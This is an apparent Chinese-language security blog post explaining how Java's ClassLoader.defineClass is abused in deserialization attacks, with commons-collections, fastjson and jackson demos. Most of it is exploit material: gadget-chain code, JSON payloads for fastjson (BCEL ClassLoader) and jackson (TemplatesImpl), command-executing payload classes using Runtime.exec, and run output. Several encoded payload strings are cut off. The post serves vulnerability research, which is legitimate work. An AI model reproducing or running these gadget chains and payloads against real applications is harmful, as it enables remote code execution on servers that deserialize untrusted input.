defineClass在java反序列化当中的利用

ge**** / 2018-04-13 12:58:00 / 浏览数 3867 安全技术 WEB安全 顶(1) 踩(0)

本文分享一下defineClass在反序列化漏洞当中的使用场景，以及在exp构造过程中的一些使用技巧

0x00 前言

首先看一下defineClass的官方定义

Class<?> java.lang.ClassLoader.defineClass(String name, byte[] b, int off, int len) throws ClassFormatError

Converts an array of bytes into an instance of class `Class`. Before the `Class` can be used it must be resolved.

This method assigns a default `ProtectionDomain` to the newly defined class. The `ProtectionDomain` is effectively granted the same set of permissions returned when `Policy.getPolicy().getPermissions(new CodeSource(null, null))` is invoked. The default domain is created on the first invocation of `defineClass`, and re-used on subsequent invocations.

To assign a specific `ProtectionDomain` to the class, use the `defineClass` method that takes a `ProtectionDomain` as one of its arguments.

Parameters:

name The expected binary name of the class, or `null` if not known
b The bytes that make up the class data. The bytes in positions `off` through `off+len-1` should have the format of a valid class file as defined by the Java Virtual Machine Specification.
off The start offset in `b` of the class data
len The length of the class data

Returns:

The `Class` object that was created from the specified class data.

Throws:

ClassFormatError - If the data did not contain a valid class
IndexOutOfBoundsException - If either `off` or `len` is negative, or if `off+len` is greater than `b.length`.
SecurityException - If an attempt is made to add this class to a package that contains classes that were signed by a different set of certificates than this class (which is unsigned), or if `name` begins with "`java.`".

Since:

1.1

See Also:

loadClass(String, boolean)
resolveClass(Class)
java.security.CodeSource
java.security.SecureClassLoader

众所周知，java编译器会将.java文件编译成jvm可以识别的机器代码保存在.class文件当中。正常情况下，java会先调用classLoader去加载.class文件，然后调用loadClass函

0x01 defineCLass构造回显

这里以java原生的java.io.ObjectInputStreamread的readObject()作为反序列化函数，以commons-collections-3.1作为payload，注入类文件代码如下

```java
import java.io.*;


public class R {
    public void exec(String cmd) throws Exception {
        String s = "";
        int len;
        int bufSize = 4096;
        byte[] buffer = new byte[bufSize];
        BufferedInputStream bis = new BufferedInputStream(Runtime.getRuntime()
                                                                .exec(cmd)
                                                                .getInputStream(),
                bufSize);

        while ((len = bis.read(buffer, 0, bufSize)) != -1)
            s += new String(buffer, 0, len);

        bis.close();
        throw new Exception("^^^" + s + "^^^");
    }
}
```

常规的回显思路是用URLClassLoader去加载一个.class或是.java文件，然后调用loadClass函数去加载对应类名，返回对应的Class对象，然后再调用newInstance()实例出一
new Exception("genxor");这样抛错的方法，将回显结果带出来。例如

```java
public static void main(String[] args) throws Exception {


    URLClassLoader cls = new URLClassLoader(new URL[]{new URL("file:c:/R.jar")});
    Class cl = cls.loadClass("R");
    Method m = cl.getMethod("exec", String.class);
    m.invoke(cl.newInstance(), "ipconfig");
```

回显结果如下所示：

```
Exception in thread "main" java.lang.reflect.InvocationTargetException
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java
        at java.lang.reflect.Method.invoke(Method.java:597)
        at com.java.desr.Test.main(Test.java:376)
Caused by: java.lang.Exception: ^^^
Windows IP 配置


以太网适配器 Npcap Loopback Adapter:

 连接特定的 DNS 后缀 . . . . . :
 本地链接 IPv6 地址. . . . . : fe80::112c:b775:1c1a:7546%48
 自动配置 IPv4 地址 . . . . . : 169.254.117.70
 子网掩码 . . . . . : 255.255.0.0
 默认网关. . . . . :

无线局域网适配器 无线网络连接 8:

 媒体状态 . . . . . : 媒体已断开
```

但是前提是要先写入一个.class或是.jar文件(写入方法这里不描述，使用FileOutputStream类，方法大同小异)，这样显得拖泥带水，而且让利用过程变得很复杂。

那可不可以不写文件而直接调用我们的代码呢，使用defineClass很好的解决了这个问题。将我们编译好的.class或是.jar文件转换成byte[]放到内存当中，然后直接用defineC
代码如图

```
Test.java  DefiningC  ChainedTran  ClassLoader.  DefiningClas  ObjectOutput  CommonsColle
/            ;
/        }
/
/        return (class$org$mozilla$classfile$DefiningClassLoader != null?cla
/    }
/
/    public Class defineClass(String arg0, byte[] arg1) {
/        return super.defineClass(arg0, arg1, 0, arg1.length);
/    }
/
/
/
```

他重写了defineClass而且是public属性，正好符合我们要求，这里我写个具体事例，代码如下

```
public static void main(String[] args) throws Exception {

    String R = "yv66vgAAADIBMAcAAgEAAVIHAAQBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+A
    BASE64Decoder decoder = new BASE64Decoder();
    byte[] bt = decoder.decodeBuffer(R);

    DefiningClassLoader cls = new DefiningClassLoader();
    Class cl = cls.defineClass("R", bt);
    Method m = cl.getMethod("exec", String.class);
    m.invoke(cl.newInstance(), "ipconfig");
```

回显结果如下所示

```
Exception in thread "main" java.lang.reflect.InvocationTargetException
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java
        at java.lang.reflect.Method.invoke(Method.java:597)
        at com.java.desr.Test.main(Test.java:383)
Caused by: java.lang.Exception: ^^^
Windows IP 配置


以太网适配器 Npcap Loopback Adapter:

 连接特定的 DNS 后缀 . . . . . :
 本地链接 IPv6 地址. . . . . : fe80::112c:b775:1c1a:7546%48
 自动配置 IPv4 地址 . . . . . : 169.254.117.70
 子网掩码 . . . . . : 255.255.0.0
 默认网关. . . . . :

无线局域网适配器 无线网络连接 8:
```

根据这个思路，我们构造transformerChain生成map对象，代码如图所示

```java
public static Object pwn(String execArgs) throws Exception {

    String R = "yv66vgAAADIBMAcAAgEAAVIHAAQBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWAQAEQ29kZQo
    BASE64Decoder decoder = new BASE64Decoder();
    byte[] bt = decoder.decodeBuffer(R);

    final Transformer[] transforms = new Transformer[] {
            new ConstantTransformer(DefiningClassLoader.class),
            //new ConstantTransformer(ClassLoader.class),
            new InvokerTransformer("getConstructor",
                    new Class[] { Class[].class },
                    new Object[] { new Class[0] }),
            new InvokerTransformer(
                    "newInstance",
                    new Class[] { Object[].class },
                    new Object[] { new Object[0] }),
            new InvokerTransformer("defineClass",
                    new Class[] { String.class, byte[].class }, new Object[] { "R", bt }),
            new InvokerTransformer(
                    "newInstance",
                    new Class[] {},
                    new Object[] {}),
            new InvokerTransformer("exec",
                    new Class[] {String.class},
                    new Object[] {execArgs}),new ConstantTransformer(1)
    };

    Transformer transformerChain = new ChainedTransformer(transforms);
    Map innermap = new HashMap();
    innermap.put("value", "value");
    Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

    Class cls = Class
            .forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    Object instance = ctor.newInstance(Retention.class, outmap);
    return instance;
```

0x02 fastjson利用

fastjson早期的一个反序列化命令执行利用poc用到了
com.sun.org.apache.bcel.internal.util.ClassLoader，首先简单说一下漏洞原理，如下是利用poc的格式

```
{
    {
        "@type":"com.alibaba.fastjson.JSONObject",
        "c":
        {
            "@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
            "driverClassLoader":
            {
                "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
            }, "driverClassName":"org.apache.log4j.spi$$BCEL$$$l$8b$I$A$A$A$A$A$
        }
    }
    :"ddd"
}
```

fastjson默认开启type属性，可以利用上述格式来设置对象属性（fastjson的type属性使用不属于本文叙述范畴，具体使用请自行查询）。tomcat有一个tomcat-dbcp.jar组

```
ClassLoader.class | BasicDataSource.class | test.java | run.java | Class.class
    */
    protected ConnectionFactory createConnectionFactory() throws SQLException {
        // Load the JDBC driver class
        Class driverFromCCL = null;
        if (driverClassName != null) {
            try {
                try {
                    if (driverClassLoader == null) {
                        Class.forName(driverClassName);
                    } else {
                        Class.forName(driverClassName, true, driverClassLoader);
                    }
                } catch (ClassNotFoundException cnfe) {
                    driverFromCCL = Thread.currentThread(
                            ).getContextClassLoader().loadClass(
                                    driverClassName);
                }
            } catch (Throwable t) {
                String message = "Cannot load JDBC driver class '" +
                    driverClassName + "'";
                logWriter.println(message);
                t.printStackTrace(logWriter);
```

当com.alibaba.fastjson.JSONObject.
parseObject解析上述json的时候，代码会上图中Class.forName的逻辑，同时将driverClassLoader和driverClassName设置为json指定的内容，到这里简单叙述了一下fas
这里详细说一下利用Class.forName执行代码的方法，有两种方式：
1 Class.forName(classname)
2 Class.forName(classname, true, ClassLoaderName)

先说第一种，通过控制classname执行代码，这里我写了一个demo，如图所示

```
App.java | ClassLoader.class | test.java | run.java | Class.class | JSON.class
1  package com.fastjson.pwn;
2
3  import java.io.*;
4
5  public class run {
6
7      static
8      {
9          String str = exec("ipconfig");
10         if(true) {
11             throw new RuntimeException(str);
12         }
13     }
14
15     public static String exec(String cmd) {
16         try {
17             String s = "";
18             int len;
19             int bufSize = 4096;
```

App.java | ClassLoader.class | test.java | run.java | Class.class | JSON.class

```java
package com.fastjson.pwn;

public class test {
    public static void main(String[] args) throws Exception {
        Class.forName("com.fastjson.pwn.run");

    }
}
```

Problems | Javadoc | Declaration | Console | Search

```
<terminated> test [Java Application] D:\Program Files\Java\jdk1.6.0_25\bin\javaw.exe (2018-4-2 下午7:05:14)
Exception in thread "main" java.lang.ExceptionInInitializerError
        at java.lang.Class.forName0(Native Method)
        at java.lang.Class.forName(Class.java:169)
        at com.fastjson.pwn.test.main(test.java:5)
Caused by: java.lang.RuntimeException:

Windows IP Configuration


Ethernet adapter □□□□□□□□:


   Connection-specific DNS Suffix  . : localdomain

   IP Address. . . . . . . . . . . . : 192.168.153.128

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   Default Gateway . . . . . . . . . : 192.168.153.2
```

```java
package com.fastjson.pwn;

public class test {
    public static void main(String[] args) throws Exception {
        Class.forName("com.fastjson.pwn.run");

    }
}
```

```
<terminated> test [Java Application] D:\Program Files\Java\jdk1.6.0_25\bin\javaw.exe (2018-4-2 下午7:05:14)
Exception in thread "main" java.lang.ExceptionInInitializerError
        at java.lang.Class.forName0(Native Method)
        at java.lang.Class.forName(Class.java:169)
        at com.fastjson.pwn.test.main(test.java:5)
Caused by: java.lang.RuntimeException:

Windows IP Configuration


Ethernet adapter 00001000:


   Connection-specific DNS Suffix  . : localdomain

   IP Address. . . . . . . . . . . . : 192.168.153.128

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   Default Gateway . . . . . . . . . : 192.168.153.2
```

这里利用了java的一个特性，利用静态代码块儿static{}来执行，当com.fastjson.pwn.run被Class.forName加载的时候，代码便会执行。

第二种，通过控制classname和classloader执行代码，我写了一个demo，以com.sun.org.apache.bcel.internal.util.ClassLoader这个类为例子，如图所示

```java
import java.io.*;

import com.sun.org.apache.bcel.internal.classfile.*;

public class pwn {

    public static void main(String[] args) throws Exception {
        String classname = "org.apache.log4j.spi$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dSYS$d3
        ClassLoader cls = new com.sun.org.apache.bcel.internal.util.ClassLoader();
        Class.forName(classname, true, cls);
    }
}
```

这里用到了com.sun.org.apache.bcel.internal.util.ClassLoader这个classloader，而classname是一个经过BCEL编码的evil.class文件，这里我给出evil.java的源码，如图所

```java
package evil;

public class evil
  extends Thread
{
  private static Thread thread = new evil();
  private static String cmd = "calc";

  static
  {
    try {
        String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                ? new String[] { "cmd.exe", "/c", cmd }
                : new String[] { "/bin/bash", "-c", cmd };
      Runtime.getRuntime().exec(cmds);
    }
    catch (Exception e) {
      e.printStackTrace();
    }
  }
}
```

classloader会先把它解码成一个byte[]，然后调用defineClass返回Class，也就是evil

具体我们跟一下代码逻辑，如图所示

```java
@CallerSensitive
public static Class<?> forName(String name, boolean initialize,
                               ClassLoader loader)
    throws ClassNotFoundException
{
    Class<?> caller = null;
    SecurityManager sm = System.getSecurityManager();
    if (sm != null) {
        // Reflective call to get caller class is only needed if a security manager
        // is present.  Avoid the overhead of making this call otherwise.
        caller = Reflection.getCallerClass();
        if (sun.misc.VM.isSystemDomainLoader(loader)) {
            ClassLoader ccl = ClassLoader.getClassLoader(caller);
            if (!sun.misc.VM.isSystemDomainLoader(ccl)) {
                sm.checkPermission(
                    SecurityConstants.GET_CLASSLOADER_PERMISSION);
            }
        }
    }
    return forName0(name, initialize, loader, caller);
}
```

这里会开始调用com.sun.org.apache.bcel.internal.util.ClassLoader的loadClass加载类，如图所示

```java
protected Class loadClass(String class_name, boolean resolve)
  throws ClassNotFoundException
{
  Class cl = null;

  /* First try: lookup hash table.
   */
  if((cl=(Class)classes.get(class_name)) == null) {
    /* Second try: Load system class using system class loader. You better
     * don't mess around with them.
     */
    for(int i=0; i < ignored_packages.length; i++) {
      if(class_name.startsWith(ignored_packages[i])) {
        cl = deferTo.loadClass(class_name);
        break;
      }
    }

    if(cl == null) {
      JavaClass clazz = null;

      /* Third try: Special request?
       */
      if(class_name.indexOf("$$BCEL$$") >= 0)
        clazz = createClass(class_name);
      else { // Fourth try: Load classes via repository
        if ((clazz = repository.loadClass(class_name)) != null) {
          clazz = modifyClass(clazz);
        }
        else
          throw new ClassNotFoundException(class_name);
      }
```

这里判断classname如果经过了BCEL编码，则解码获取Class文件，如图

```java
  protected JavaClass createClass(String class_name) {
    int    index     = class_name.indexOf("$$BCEL$$");
    String real_name = class_name.substring(index + 8);

    JavaClass clazz = null;
    try {
      byte[]      bytes  = Utility.decode(real_name, true);
      ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

      clazz = parser.parse();
    } catch(Throwable e) {
      e.printStackTrace();
      return null;
    }

    // Adapt the class name to the passed value
    ConstantPool cp = clazz.getConstantPool();

    ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
                                                     Constants.CONSTANT_Class);
    ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
                                                     Constants.CONSTANT_Utf8);
    name.setBytes(class_name.replace('.', '/'));

    return clazz;
  }
}
```


此刻内存中evil.class文件的结构，如图所示

Name	Value
this	ClassLoader (id=362)
class_name	"org.apache.log4j.spi$$BCEL$$$l$8b$IAAAAAAA7dSYS$d3P$U$fe$$$5d$92$86$60
index	20
real_name	"l8bIAAAAAAA$7dSYS$d3PUfe$$$5d$92$86$60$a1VPPdc$b1$Fiddc0$a5
clazz	JavaClass (id=368)
cp	ConstantPool (id=373)
cl	ConstantClass (id=375)
name	ConstantUtf8 (id=379)

```
public class evil.evil extends java.lang.Thread
filename        foo
compiled from       evil.java
compiler version    50.0
access flags        33
constant pool       84 entries
ACC_SUPER flag      true

Attribute(s):
    SourceFile(evil.java)

2 fields:
    private static Thread thread
    private static String cmd

4 methods:
    static void <clinit>()
    public void <init>()
    public static void startRun(String urlStr)
    public void run()
```


继续跟踪后面的逻辑，如图

```
.java  ClassLoader.class  ClassParser.class
        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }
```

这里调用defineClass还原出evil.class中的evil类，因为使用static{}，所以在加载过程中代码执行。

OK
回到fastjson漏洞逻辑，因为控制了Class.forName加载的类和ClassLoader，所以可以通过调用特定的ClassLoader去加载精心构造的代码，从而执行我们事先构造好的clas

0x03 jackson利用

jackson的反序列化命令执行跟fastjson类似，也似注入一个精心构造的pwn.class文件，最后通过newInstance实例对象触发代码执行。这里先给出pwn.java的源码，如图所

```java
import java.io.*;
public class pwn
  extends AbstractTranslet
{
  public void transform(DOM document, SerializationHandler[] handlers)
    throws TransletException
  {}
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
    throws TransletException
  {}
  public static String run(String cmd) {
      try {
            String s = "";
            int len;
            int bufSize = 4096;
            byte[] buffer = new byte[bufSize];
            BufferedInputStream bis;
            bis = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream(),bufSize);
            while ((len = bis.read(buffer, 0, bufSize)) != -1)
            s += new String(buffer, 0, len);

            bis.close();
            return s;
        } catch (IOException e) {
            return e.getMessage();
        }
  }
  static
  {
        Object localObject = null;
        if (true) {
            throw new RuntimeException(pwn.run("ipconfig"));
        }
  }
}
```

然后写了一个Demo，触发漏洞，代码如下

```java
package jackson.pwn;

import java.io.*;

public class Demo {
    private String user;

    private Map pass;

    public String getUser() {
        return user;
    }

    public void setUser(String user) {
        this.user = user;
    }

    public Map getPass() {
        return pass;
    }

    public void setPass(Map pass) {
        this.pass = pass;
    }

    public static void main(String[] args) throws Exception {
        //InputStream inputStream = Demo.class.getResourceAsStream("./exp/map_bean.json");
        String poc = "{\"user\":\"genxor\",\"pass\":[\"java.util.HashMap\",{\"pwn\":[\"com.sun.org.apache.
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.readValue(poc, Demo.class);
    }
}
```

jackson类似fastjson可以通过type属性，设置变量的值，但是不同时jackson默认不开启type，需要mapper.enableDefaultTyping()设置开启。

pwn.json Demo.java

```
{
"user":"genxor",
"pass":["java.util.HashMap",{"pwn": [
        "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
        {
            "transletBytecodes":["yv66vgAAADMAcQcAAgEAB2Zvby9wd24HAAQBAEBjb20vc3VuL29y
            "transletName":"a.b",
            "outputProperties":
            {
            }
        }
    }
]
}
```

当readValue这段json的时候，触发命令执行漏洞，下面调试一下关键步骤，如图

```
 */
private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new Hashtable();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the
            if (superClass.getName()
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_cla
            }
```

_class= Class<T>[1] (id=66)
[0]= Class<T> (foo.pwn) (id=81)

[class foo.pwn]

这里defineTransletClasses会解码transletBytecodes成byte[]，并执行defineClass得到foo.pwn这个类，然后在后面执行newInstance导致static{}静态代码块儿执行，如图

```
*/
private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMecha
        translet.setAllowedProtocols(_accessExternalSt
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
```

```
_class= Class<T>[1] (id=66)
  [0]= Class<T> (foo.pwn) (id=81)

[class foo.pwn]
```

成功触发，如图所示

```
at [Source: {"user":"genxor","pass":["java.util.HashMap",{"pwn":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes":["yv66
        at com.fasterxml.jackson.databind.JsonMappingException.from(JsonMappingException.java:277)
        at com.fasterxml.jackson.databind.deser.SettableBeanProperty._throwAsIOE(SettableBeanProperty.java:546)
        at com.fasterxml.jackson.databind.deser.impl.SetterlessProperty.deserializeAndSet(SetterlessProperty.java:115)
        at com.fasterxml.jackson.databind.deser.BeanDeserializer.vanillaDeserialize(BeanDeserializer.java:276)
        at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:140)
        at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize(AsArrayTypeDeserializer.java:116)
        at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromAny(AsArrayTypeDeserializer.java:71)
        at com.fasterxml.jackson.databind.deser.std.UntypedObjectDeserializer$Vanilla.deserializeWithType(UntypedObjectDeserializer.java:554)
        at com.fasterxml.jackson.databind.deser.std.MapDeserializer._readAndBindStringKeyMap(MapDeserializer.java:519)
        at com.fasterxml.jackson.databind.deser.std.MapDeserializer.deserialize(MapDeserializer.java:362)
        at com.fasterxml.jackson.databind.deser.std.MapDeserializer.deserialize(MapDeserializer.java:27)
        at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize(AsArrayTypeDeserializer.java:116)
        at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromObject(AsArrayTypeDeserializer.java:61)
        at com.fasterxml.jackson.databind.deser.std.MapDeserializer.deserializeWithType(MapDeserializer.java:397)
        at com.fasterxml.jackson.databind.deser.SettableBeanProperty.deserialize(SettableBeanProperty.java:497)
        at com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet(MethodProperty.java:101)
        at com.fasterxml.jackson.databind.deser.BeanDeserializer.vanillaDeserialize(BeanDeserializer.java:276)
        at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:140)
        at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:3798)
        at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:2842)
        at jackson.pwn.Demo.main(Demo.java:33)
Caused by: java.lang.RuntimeException:
Windows IP 配置


以太网适配器 Npcap Loopback Adapter:

   连接特定的 DNS 后缀 . . . . . :
   本地链接 IPv6 地址. . . . . : fe80::112c:b775:1c1a:7546%48
   自动配置 IPv4 地址 . . . . . : 169.254.117.70
   子网掩码 . . . . . : 255.255.0.0
   默认网关. . . . . :
```

0x04 总结

利用defineClass在运行时状态下，将我们精心构造的class文件加载进入ClassLoader，通过java的static{}特征，导致代码执行。

以上测试代码全部保存在：
https://github.com/genxor/Deserialize.git

0x05 关于我们

阿里安全归零实验室成立于2017年11月，实验室致力于对黑灰产技术的研究,愿景通过技术手段解决当前日益严重的网络违规和网络犯罪问题，为阿里新经济体保驾护航。实

目前团队也在不断的招聘各种优秀人才，研发专家、数据分析专家、情报分析与体系化专家等，欢迎加盟，联系邮箱
联系：back2zero@service.alibaba.com

点击收藏 | 2 关注 | 4

上一篇：揭开Drupalgeddon 2的... 下一篇：用侧信道读取特权内存（上）

1. 2 条回复

停云落月 2018-04-13 13:43:54

难得看到广告写在 0x005 目录的作者了

0 回复Ta

threedr3am 2018-05-05 18:56:48

利用方式很新奇，但是这个js执行包现在应该不怎么用了

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板